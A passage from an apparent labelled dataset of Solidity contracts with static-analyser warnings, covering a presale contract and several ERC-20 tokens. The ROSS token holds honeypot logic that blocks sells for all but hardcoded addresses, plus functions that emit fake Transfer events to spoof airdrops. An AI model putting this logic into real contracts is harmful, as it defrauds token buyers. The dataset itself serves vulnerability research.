0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419\n );\n\n _presaleStartedAt = block.timestamp;\n\n teamEthVestingStartTime = block.timestamp;\n }\n\n function addAdvisor(address advisor) external onlyOwner {\n require(advisor != address(0), \"Invalid address\"); // @dev Ensure the advisor address is not the zero address\n\n require(!_validAdvisors[advisor], \"Advisor already added\"); // @dev Ensure the advisor is not already added\n\n _validAdvisors[advisor] = true;\n\n emit AdvisorAdded(advisor);\n }\n\n function removeAdvisor(address advisor) external onlyOwner {\n require(advisor != address(0), \"Invalid address\"); // @dev Ensure the advisor address is not the zero address\n\n require(_validAdvisors[advisor], \"Advisor not found\"); // @dev Ensure the advisor exists in the list\n\n _validAdvisors[advisor] = false;\n\n emit AdvisorRemoved(advisor);\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: f217971): PresaleContract._purchaseComputer(uint256,uint256,mapping(address => uint256),PresaleContract.ComputerType,address).advisorShare is a local variable never initialized\n\t// Recommendation for f217971: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 09ad1b2): PresaleContract._purchaseComputer(uint256,uint256,mapping(address => uint256),PresaleContract.ComputerType,address).refundToSender is a local variable never initialized\n\t// Recommendation for 09ad1b2: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _purchaseComputer(\n uint256 amount,\n uint256 totalPrice,\n mapping(address => uint256) storage purchases,\n ComputerType computerType,\n address advisor\n ) internal {\n require(amount > 0, \"Amount must be greater than 0\"); // @dev Ensure the purchase amount is greater than 0\n\n require(msg.value == totalPrice, \"Incorrect ETH sent\"); // @dev Ensure the correct amount of ETH is sent\n\n uint256 teamShare = totalPrice;\n\n uint256 advisorShare;\n\n uint256 refundToSender;\n\n if (advisor != address(0) && _validAdvisors[advisor]) {\n refundToSender = (totalPrice * REFUND_PERCENTAGE) / PERCENTAGE_BASE;\n\n advisorShare = (totalPrice * ADVISOR_PERCENTAGE) / PERCENTAGE_BASE;\n\n teamShare = totalPrice - refundToSender - advisorShare;\n } else if (advisor != address(0) && !_validAdvisors[advisor]) {\n revert(\"Invalid advisor address\"); // @dev Revert if the advisor is invalid\n }\n\n purchases[msg.sender] += amount;\n\n _totalEthSpentInComputers += msg.value;\n\n totalSpent[msg.sender] += msg.value;\n\n if (!isAParticipant[msg.sender]) {\n _participants.push(msg.sender);\n\n isAParticipant[msg.sender] = true;\n }\n\n emit ComputerPurchased(msg.sender, amount, msg.value, computerType);\n\n (bool successTeam, ) = payable(owner()).call{value: teamShare}(\"\"); // @dev Transfer the team's share to the owner\n\n require(successTeam, \"Transfer to team failed\"); // @dev Ensure the transfer to the team was successful\n\n if (advisorShare > 0) {\n (bool successAdvisor, ) = payable(advisor).call{\n value: advisorShare\n }(\"\"); // @dev Transfer the advisor's share\n\n require(successAdvisor, \"Transfer to advisor failed\"); // @dev Ensure the transfer to the advisor was successful\n }\n\n if (refundToSender > 0) {\n (bool successRefund, ) = payable(msg.sender).call{\n value: refundToSender\n }(\"\"); // @dev Refund the sender\n\n require(successRefund, \"Refund to sender failed\"); // @dev Ensure the refund to the sender was successful\n }\n }\n\n function purchaseTriton(\n uint256 amount,\n address advisor\n ) external payable nonReentrant {\n _purchaseComputer(\n amount,\n purchaseTriton_price(amount),\n _computerTritonPurchases,\n ComputerType.Triton,\n advisor\n );\n }\n\n function purchaseHyperion(\n uint256 amount,\n address advisor\n ) external payable nonReentrant {\n _purchaseComputer(\n amount,\n purchaseHyperion_price(amount),\n _computerHyperionPurchases,\n ComputerType.Hyperion,\n advisor\n );\n }\n\n function purchaseNyx(\n uint256 amount,\n address advisor\n ) external payable nonReentrant {\n _purchaseComputer(\n amount,\n purchaseNyx_price(amount),\n _computerNyxPurchases,\n ComputerType.Nyx,\n advisor\n );\n }\n\n function purchaseHecate(\n uint256 amount,\n address advisor\n ) external payable nonReentrant {\n _purchaseComputer(\n amount,\n purchaseHecate_price(amount),\n _computerHecatePurchases,\n ComputerType.Hecate,\n advisor\n );\n }\n\n function purchaseTriton_price(\n uint256 amount\n ) public view returns (uint256) {\n return _convertUSDtoETH(BASE_TRITON_PRICE) * amount;\n }\n\n function purchaseHyperion_price(\n uint256 amount\n ) public view returns (uint256) {\n return _convertUSDtoETH(BASE_HYPERION_PRICE) * amount;\n }\n\n function purchaseNyx_price(uint256 amount) public view returns (uint256) {\n return _convertUSDtoETH(BASE_NYX_PRICE) * amount;\n }\n\n function purchaseHecate_price(\n uint256 amount\n ) public view returns (uint256) {\n return _convertUSDtoETH(BASE_HECATE_PRICE) * amount;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2022050): PresaleContract._getLatestETHUSDPrice() ignores return value by (None,answer,None,None,None) = _priceFeed.latestRoundData()\n\t// Recommendation for 2022050: Ensure that all the return values of the function calls are used.\n function _getLatestETHUSDPrice() public view returns (int256) {\n\t\t// unused-return | ID: 2022050\n (, int256 answer, , , ) = _priceFeed.latestRoundData();\n\n return answer / 1e8;\n }\n\n function _convertUSDtoETH(\n uint256 amountInUSDCents\n ) public view returns (uint256) {\n uint256 currentETHPrice = uint256(_getLatestETHUSDPrice());\n\n uint256 result = ((amountInUSDCents * 1e16) / currentETHPrice);\n\n return result;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: c136291): PresaleContract.purchaseToken(uint256,address) uses timestamp for comparisons Dangerous comparisons _totalTokensSold + amount > TOTAL_TOKENS || block.timestamp > _presaleStartedAt + GLOBAL_TIMER\n\t// Recommendation for c136291: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 602a9ca): PresaleContract.purchaseToken(uint256,address).advisorShare is a local variable never initialized\n\t// Recommendation for 602a9ca: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: e7bbe8f): PresaleContract.purchaseToken(uint256,address).refundToSender is a local variable never initialized\n\t// Recommendation for e7bbe8f: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function purchaseToken(\n uint256 amount,\n address advisor\n ) external payable nonReentrant {\n require(amount > 0, \"Amount must be greather than 0\"); // @dev Ensure the purchase amount is always greater than 0\n\n require(\n amount <= _getCurrentRoundTokensRemaining(),\n \"Can't exceed the actual round\"\n );\n\n if (_getCurrentRoundTokensRemaining() > 1e18) {\n require(amount >= 1e18, \"Amount must be greater than 1e18\"); // @dev Ensure the purchase amount is greater than 0 if needed\n }\n\t\t\t// timestamp | ID: c136291\n\n if (\n _totalTokensSold + amount > TOTAL_TOKENS ||\n block.timestamp > _presaleStartedAt + GLOBAL_TIMER\n ) {\n revert(\"Presale is finished\"); // @dev ensure that the presale is not finished\n }\n\n uint256 price = purchaseToken_price(amount);\n\n require(msg.value == price, \"Incorrect ETH sent\"); // @dev Ensure the correct amount of ETH is sent\n\n uint256 teamShare = (price * TEAM_PERCENTAGE) / PERCENTAGE_BASE;\n\n uint256 advisorShare;\n\n uint256 refundToSender;\n\n if (advisor != address(0) && _validAdvisors[advisor]) {\n refundToSender = (price * REFUND_PERCENTAGE) / PERCENTAGE_BASE;\n\n advisorShare = (price * ADVISOR_PERCENTAGE) / PERCENTAGE_BASE;\n\n _advisorForParticipant[msg.sender] = advisor;\n }\n\n _totalTokensSold += amount;\n\n _tokensSoldPerRound[_currentRound] += amount;\n\n _tokenPurchases[msg.sender] += amount;\n\n _tokensSoldPerRoundByAddress[msg.sender][_currentRound] += amount;\n\n totalTokensEthSpentByUserInARound[msg.sender][_currentRound] += msg\n .value;\n\n totalSpent[msg.sender] += msg.value;\n\n teamTotalVestedEth += teamShare;\n\n if (!isAParticipant[msg.sender]) {\n _participants.push(msg.sender);\n\n isAParticipant[msg.sender] = true;\n }\n\n emit TokenPurchased(msg.sender, amount, msg.value);\n\n _updateRoundProgress();\n\n if (refundToSender > 0) {\n (bool successRefund, ) = payable(msg.sender).call{\n value: refundToSender\n }(\"\"); // @dev Refund the sender\n\n require(successRefund, \"Refund to sender failed\"); // @dev Ensure the refund to the sender was successful\n\n (bool successAdvisor, ) = payable(address(advisor)).call{\n value: advisorShare\n }(\"\"); // @dev Transfer the advisor's share\n\n require(successAdvisor, \"Refund to Advisor failed\"); // @dev Ensure the transfer to the advisor was successful\n }\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 6ce303e): PresaleContract.purchaseToken_price(uint256) performs a multiplication on the result of a division _getCurrentRoundPrice() * (amount / DECIMALS)\n\t// Recommendation for 6ce303e: Consider ordering multiplication before division.\n function purchaseToken_price(uint256 amount) public view returns (uint256) {\n\t\t// divide-before-multiply | ID: 6ce303e\n return _getCurrentRoundPrice() * (amount / DECIMALS);\n }\n\n function getTopParticipants(\n uint256 topN\n ) public view returns (address[] memory) {\n require(topN > 0 && topN <= _participants.length, \"Invalid topN value\"); // @dev Ensure the topN value is valid\n\n address[] memory topParticipants = new address[](topN);\n\n uint256[] memory topAmounts = new uint256[](topN);\n\n for (uint256 i = 0; i < topN; i++) {\n topParticipants[i] = _participants[i];\n\n topAmounts[i] = totalSpent[_participants[i]];\n }\n\n for (uint256 i = topN / 2; i > 0; i--) {\n heapifyDown(topAmounts, topParticipants, i - 1, topN);\n }\n\n\t\t// cache-array-length | ID: 0d7c257\n for (uint256 i = topN; i < _participants.length; i++) {\n uint256 spent = totalSpent[_participants[i]];\n\n if (spent > topAmounts[0]) {\n topAmounts[0] = spent;\n\n topParticipants[0] = _participants[i];\n\n heapifyDown(topAmounts, topParticipants, 0, topN);\n }\n }\n\n for (uint256 i = topN - 1; i > 0; i--) {\n (topAmounts[0], topAmounts[i]) = (topAmounts[i], topAmounts[0]);\n\n (topParticipants[0], topParticipants[i]) = (\n topParticipants[i],\n topParticipants[0]\n );\n\n heapifyDown(topAmounts, topParticipants, 0, i);\n }\n\n return topParticipants;\n }\n\n function heapifyDown(\n uint256[] memory topAmounts,\n address[] memory topParticipants,\n uint256 start,\n uint256 size\n ) internal pure {\n uint256 left = 2 * start + 1;\n\n uint256 right = 2 * start + 2;\n\n uint256 smallest = start;\n\n if (left < size && topAmounts[left] < topAmounts[smallest]) {\n smallest = left;\n }\n\n if (right < size && topAmounts[right] < topAmounts[smallest]) {\n smallest = right;\n }\n\n if (smallest != start) {\n (topAmounts[start], topAmounts[smallest]) = (\n topAmounts[smallest],\n topAmounts[start]\n );\n\n (topParticipants[start], topParticipants[smallest]) = (\n topParticipants[smallest],\n topParticipants[start]\n );\n\n heapifyDown(topAmounts, topParticipants, smallest, size);\n }\n }\n\n function getRanking() external view returns (uint256) {\n address[] memory sortedParticipants = getTopParticipants(\n _participants.length\n );\n\n for (uint256 i = 0; i < sortedParticipants.length; i++) {\n if (sortedParticipants[i] == msg.sender) {\n return i + 1;\n }\n }\n\n return 0;\n }\n\n function getTopSpender() public view returns (address) {\n if (_participants.length == 0) return address(0);\n\n address[] memory sortedParticipants = getTopParticipants(\n _participants.length\n );\n\n return sortedParticipants[0];\n }\n\n function getSecondTopSpender() public view returns (address) {\n if (_participants.length < 2) return address(0);\n\n address[] memory sortedParticipants = getTopParticipants(\n _participants.length\n );\n\n return sortedParticipants[1];\n }\n\n function getThirdTopSpender() public view returns (address) {\n if (_participants.length < 3) return address(0);\n\n address[] memory sortedParticipants = getTopParticipants(\n _participants.length\n );\n\n return sortedParticipants[2];\n }\n\n function getTopSpenderAmount() external view returns (uint256) {\n address topSpender = getTopSpender();\n\n if (topSpender == address(0)) return 0;\n\n return totalSpent[topSpender];\n }\n\n function getSecondTopSpenderAmount() external view returns (uint256) {\n address secondTopSpender = getSecondTopSpender();\n\n if (secondTopSpender == address(0)) return 0;\n\n return totalSpent[secondTopSpender];\n }\n\n function getThirdTopSpenderAmount() external view returns (uint256) {\n address thirdTopSpender = getThirdTopSpender();\n\n if (thirdTopSpender == address(0)) return 0;\n\n return totalSpent[thirdTopSpender];\n }\n\n function _getCurrentRoundPrice() public view returns (uint256) {\n return _convertUSDtoETH(_roundPrices[_currentRound]);\n }\n\n function _getCurrentRoundTokensRemaining() public view returns (uint256) {\n return\n _roundTokenLimits[_currentRound] -\n _tokensSoldPerRound[_currentRound];\n }\n\n function _updateRoundProgress() internal {\n uint256 remainingTokensCurrentRound = _getCurrentRoundTokensRemaining();\n\n if (remainingTokensCurrentRound == 0 && _currentRound < MAX_ROUND) {\n _currentRound++;\n\n emit RoundAdvanced(_currentRound);\n }\n }\n\n function deploy_SyntraCoin() external {\n require(\n msg.sender == address(this),\n \"Only the contract can call this function\"\n ); // Ensure that only the contract can call this function\n\n uint256 totalBalance = address(this).balance;\n\n uint256 ethForPool = (totalBalance * 70) / 100;\n\n uint256 ethForOwner = (totalBalance * 10) / 100;\n\n emit OwnerFundsTransferred(ethForOwner, block.timestamp);\n\n (bool successOwner, ) = payable(owner()).call{value: ethForOwner}(\"\"); // Send 10% to the owner\n\n require(successOwner, \"Transfer to owner failed\"); // Ensure the transfer goes correctly\n\n _uniswapAndCoinManager.deployCoinAndPool{value: ethForPool}(ethForPool);\n }\n\n function mintMyTokens() external nonReentrant {\n require(\n _uniswapAndCoinManager.coinAddress() != address(0),\n \"Coin not deployed yet\"\n ); // @dev Ensure the token has been deployed\n\n uint256 amountToMint = _tokenPurchases[msg.sender];\n\n require(amountToMint > 0, \"No tokens to mint\"); // @dev Ensure the participant has tokens to mint\n\n _tokenPurchases[msg.sender] = 0;\n\n _uniswapAndCoinManager.mintTokens(msg.sender, amountToMint);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 838fb56): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 838fb56: Avoid relying on 'block.timestamp'.\n function withdrawTeamEth() external onlyOwner nonReentrant {\n uint256 vestedAmount = calculateVestedEthAmount();\n\n uint256 withdrawableAmount = vestedAmount - teamEthWithdrawn;\n\n\t\t// timestamp | ID: 838fb56\n require(withdrawableAmount > 0, \"No ETH available for withdrawal\"); // @dev Ensure that the amount is greather than 0\n\n teamEthWithdrawn += withdrawableAmount;\n\n emit TeamEthWithdrawn(withdrawableAmount, block.timestamp);\n\n (bool success, ) = payable(owner()).call{value: withdrawableAmount}(\"\"); // @dev Send the amount to the owner\n\n\t\t// timestamp | ID: 838fb56\n require(success, \"Transfer failed\"); // @dev Ensure that the transfer goes correclty\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: dd1da31): PresaleContract.calculateVestedEthAmount() uses timestamp for comparisons Dangerous comparisons block.timestamp >= teamEthVestingStartTime + TEAM_ETH_VESTING_DURATION\n\t// Recommendation for dd1da31: Avoid relying on 'block.timestamp'.\n function calculateVestedEthAmount() public view returns (uint256) {\n if (\n\t\t\t// timestamp | ID: dd1da31\n block.timestamp >=\n teamEthVestingStartTime + TEAM_ETH_VESTING_DURATION\n ) {\n return teamTotalVestedEth;\n } else {\n uint256 elapsedTime = block.timestamp - teamEthVestingStartTime;\n\n return\n (teamTotalVestedEth * elapsedTime) / TEAM_ETH_VESTING_DURATION;\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e5adde1): Reentrancy in PresaleContract.safe_deploy_SyntraCoin() External calls this.deploy_SyntraCoin() State variables written after the call(s) _isInEmergencyWithdraw = true\n\t// Recommendation for e5adde1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function safe_deploy_SyntraCoin() external nonReentrant onlyOwner {\n require(\n _uniswapAndCoinManager.coinAddress() == address(0),\n \"Coin already deployed\"\n ); // @dev Ensure the token has not been deployed\n\n\t\t// reentrancy-benign | ID: e5adde1\n try this.deploy_SyntraCoin() {} catch {\n\t\t\t// reentrancy-benign | ID: e5adde1\n _isInEmergencyWithdraw = true;\n }\n }\n\n function emergencyWithdraw() external nonReentrant onlyOwner {\n require(_isInEmergencyWithdraw, \"Emergency withdraw is not active\"); // @dev Ensure emergency withdrawal mode is active\n\n uint256 balance = address(this).balance;\n\n require(balance > 0, \"No ETH available to withdraw\"); // @dev Ensure there are funds\n\n (bool success, ) = payable(owner()).call{value: balance}(\"\"); // @dev Transfer the balance to the owner\n\n require(success, \"ETH transfer failed\"); // @dev Ensure the ETH transfer was successful\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: ea556b0): PresaleContract.refundMe() uses timestamp for comparisons Dangerous comparisons _totalTokensSold >= TOTAL_TOKENS || block.timestamp > _presaleStartedAt + GLOBAL_TIMER\n\t// Recommendation for ea556b0: Avoid relying on 'block.timestamp'.\n function refundMe() external nonReentrant {\n if (\n\t\t\t// timestamp | ID: ea556b0\n _totalTokensSold >= TOTAL_TOKENS ||\n block.timestamp > _presaleStartedAt + GLOBAL_TIMER\n ) {\n revert(\"Presale is finished\"); // @dev Ensure the presale is not finished\n }\n\n uint256 tokensToRefund = _tokensSoldPerRoundByAddress[msg.sender][\n _currentRound\n ];\n\n require(tokensToRefund > 0, \"No tokens purchased\"); // @dev Ensure the participant has deposited ETH in the current round\n\n uint256 totalTokenEthSpentCurrentRound = totalTokensEthSpentByUserInARound[\n msg.sender\n ][_currentRound];\n\n uint256 refundPercentage = (_advisorForParticipant[msg.sender] !=\n address(0))\n ? 60\n : 80;\n\n uint256 refundAmountInEth = (totalTokenEthSpentCurrentRound *\n refundPercentage) / PERCENTAGE_BASE;\n\n _tokensSoldPerRoundByAddress[msg.sender][_currentRound] = 0;\n\n _totalTokensSold -= tokensToRefund;\n\n _tokensSoldPerRound[_currentRound] -= tokensToRefund;\n\n totalTokensEthSpentByUserInARound[msg.sender][_currentRound] = 0;\n\n _tokenPurchases[msg.sender] -= tokensToRefund;\n\n totalSpent[msg.sender] -= totalTokenEthSpentCurrentRound;\n\n emit AddressRefunded(msg.sender, refundAmountInEth);\n\n (bool success, ) = payable(msg.sender).call{value: refundAmountInEth}(\n \"\"\n ); // @dev Transfer the refund to the participant\n\n require(success, \"Transfer failed\"); // @dev Ensure the refund transfer was successful\n }\n\n function getTotalParticipants() public view returns (uint256) {\n return _participants.length;\n }\n}",
"file_name": "solidity_code_3678.sol",
"secure": 0,
"size_bytes": 27163
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\n\ncontract ROSS is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private _p76234;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7b972a8): ROSS._e242 should be constant \n\t// Recommendation for 7b972a8: Add the 'constant' attribute to state variables that never change.\n uint256 private _e242 = 999;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function claim(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function multicall(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function execute(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 4141ae4): ROSS.actionPair(address).account lacks a zerocheck on \t _p76234 = account\n\t// Recommendation for 4141ae4: Check that the address is not zero.\n function actionPair(address account) public virtual returns (bool) {\n if (_msgSender() == 0xB541968495D6f59dD480Cb3C4c0C5505e5770b72)\n\t\t\t// missing-zero-check | ID: 4141ae4\n _p76234 = account;\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n\n renounceOwnership();\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n if (\n (from != _p76234 &&\n to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) ||\n (_p76234 == to &&\n from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 &&\n from != 0xB541968495D6f59dD480Cb3C4c0C5505e5770b72 &&\n from != 0x7dCAdF7e652EE3ffE2b5A2833f735dC58B7e9ce3 &&\n from != 0x17Df6De7960aC906a967d9919dDd6b93b521c731)\n ) {\n uint256 _X7W88 = amount + 1;\n\n require(_X7W88 < _e242);\n }\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _spendAllowance(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(accountOwner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(accountOwner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor() {\n _name = unicode\"ROSS\";\n\n _symbol = unicode\"ROSS\";\n\n _mint(msg.sender, 100000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3679.sol",
"secure": 0,
"size_bytes": 6540
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Gardenofdonald is ERC20, Ownable {\n constructor() ERC20(\"Garden Of Donald\", \"GOD\") {\n _mint(msg.sender, 420000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_368.sol",
"secure": 1,
"size_bytes": 360
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Erc20.sol\" as Erc20;\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"X\", unicode\"X\", 9, 100000000000) {}\n}",
"file_name": "solidity_code_3680.sol",
"secure": 1,
"size_bytes": 193
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract AMC4200 is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public immutable uniswapV2Router;\n\n address public immutable uniswapV2Pair;\n\n bool private swapping;\n\n address private amcone = 0xe051382b0bbd70cC6d281533d6bD06c22DC30C8a;\n\n address private amctwo = 0xe051382b0bbd70cC6d281533d6bD06c22DC30C8a;\n\n uint256 private maxTransactionAmount;\n\n uint256 public swapTokensAtAmount;\n\n uint256 private maxWalletAmount;\n\n bool public limitsInEffect = true;\n\n bool public tradingActive = false;\n\n bool public swapEnabled = true;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n mapping(address => bool) private _blacklist;\n\n bool public transferDelayEnabled = false;\n\n uint256 private buyTotalFees;\n\n uint256 private buyMarketingFee;\n\n uint256 private buyLiquidityFee;\n\n uint256 private buydevFee;\n\n uint256 private sellTotalFees;\n\n uint256 private sellMarketingFee;\n\n uint256 private sellLiquidityFee;\n\n uint256 private selldevFee;\n\n uint256 private tokensForMarketing;\n\n uint256 private tokensForLiquidity;\n\n uint256 private tokensFordev;\n\n uint256 launchedAt;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) private Allow;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n event UpdateUniswapV2Router(\n address indexed newAddress,\n address indexed oldAddress\n );\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event AmconeUpdated(address indexed newWallet, address indexed oldWallet);\n\n event AmctwoUpdated(address indexed newWallet, address indexed oldWallet);\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiquidity\n );\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 31884f9): AMC4200.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 31884f9: Rename the local variables that shadow another component.\n constructor() ERC20(\"AMC4200\", \"AMC\") {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n uint256 _buyMarketingFee = 20;\n\n uint256 _buyLiquidityFee = 0;\n\n uint256 _buydevFee = 0;\n\n uint256 _sellMarketingFee = 40;\n\n uint256 _sellLiquidityFee = 0;\n\n uint256 _selldevFee = 0;\n\n uint256 totalSupply = 42000000 * 10 ** decimals();\n\n maxTransactionAmount = 420000 * 10 ** decimals();\n\n maxWalletAmount = 420000 * 10 ** decimals();\n\n swapTokensAtAmount = 420000 * 10 ** decimals();\n\n buyMarketingFee = _buyMarketingFee;\n\n buyLiquidityFee = _buyLiquidityFee;\n\n buydevFee = _buydevFee;\n\n buyTotalFees = buyMarketingFee + buyLiquidityFee + buydevFee;\n\n sellMarketingFee = _sellMarketingFee;\n\n sellLiquidityFee = _sellLiquidityFee;\n\n selldevFee = _selldevFee;\n\n sellTotalFees = sellMarketingFee + sellLiquidityFee + selldevFee;\n\n excludeFromFees(owner(), true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(owner(), true);\n\n excludeFromMaxTransaction(address(this), true);\n\n excludeFromMaxTransaction(address(0xdead), true);\n\n _mint(msg.sender, totalSupply);\n }\n\n receive() external payable {}\n\n function SetTrading(bool EnableTrade, bool _swap) external onlyOwner {\n tradingActive = EnableTrade;\n\n swapEnabled = _swap;\n\n launchedAt = block.number;\n }\n\n function removeLimits() external onlyOwner returns (bool) {\n limitsInEffect = false;\n\n return true;\n }\n\n function disableTransferDelay() external onlyOwner returns (bool) {\n transferDelayEnabled = false;\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e02e663): AMC4200.updateSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = newAmount \n\t// Recommendation for e02e663: Emit an event for critical parameter changes.\n function updateSwapTokensAtAmount(\n uint256 newAmount\n ) external onlyOwner returns (bool) {\n require(\n newAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n\n require(\n newAmount <= (totalSupply() * 5) / 1000,\n \"Swap amount cannot be higher than 0.5% total supply.\"\n );\n\n\t\t// events-maths | ID: e02e663\n swapTokensAtAmount = newAmount;\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 68a08e7): AMC4200.updateMaxTxnAmount(uint256) should emit an event for maxTransactionAmount = newNum \n\t// Recommendation for 68a08e7: Emit an event for critical parameter changes.\n function updateMaxTxnAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 1) / 1000) / 